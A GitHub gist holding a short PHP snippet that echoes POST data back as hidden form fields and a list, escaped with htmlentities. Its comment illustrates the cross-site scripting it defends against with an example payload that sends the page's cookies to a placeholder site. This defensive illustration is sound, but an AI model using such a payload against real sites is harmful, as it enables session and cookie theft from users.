Skip to content

Instantly share code, notes, and snippets.

@johnmckerrell
Created January 9, 2012 15:07
Show Gist options
  • Save johnmckerrell/1583316 to your computer and use it in GitHub Desktop.
Save johnmckerrell/1583316 to your computer and use it in GitHub Desktop.
Original PealoCode
/**
* Defend from malicious input by using addslashes
* A malicious user could craft a form that injected JavaScript into these hidden form fields, e.g.:
* <input type="hidden" name="naughty" value="&quot;><script>var img = new Image(); img.src='http://naughtysite.com/submitcookies.php?cookies='+document.cookies;</script>">
*/
while (list($key, $val) = each($_POST)) {
if ($key != 'Submit') {
echo '<input type="hidden" name="' . htmlentities($key) . '" value="' . htmlentities($val) . '" />';
}
}
reset($_POST);
echo '<ul>';
while (list($key, $val) = each($_POST)) {
if ($key != 'Submit') {
echo '<li><strong>' . htmlentities($key) . '</strong>: <span class="highlight-219ddb">' . htmlentities($val) . '</span></li>';
}
}
echo '</ul>';
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment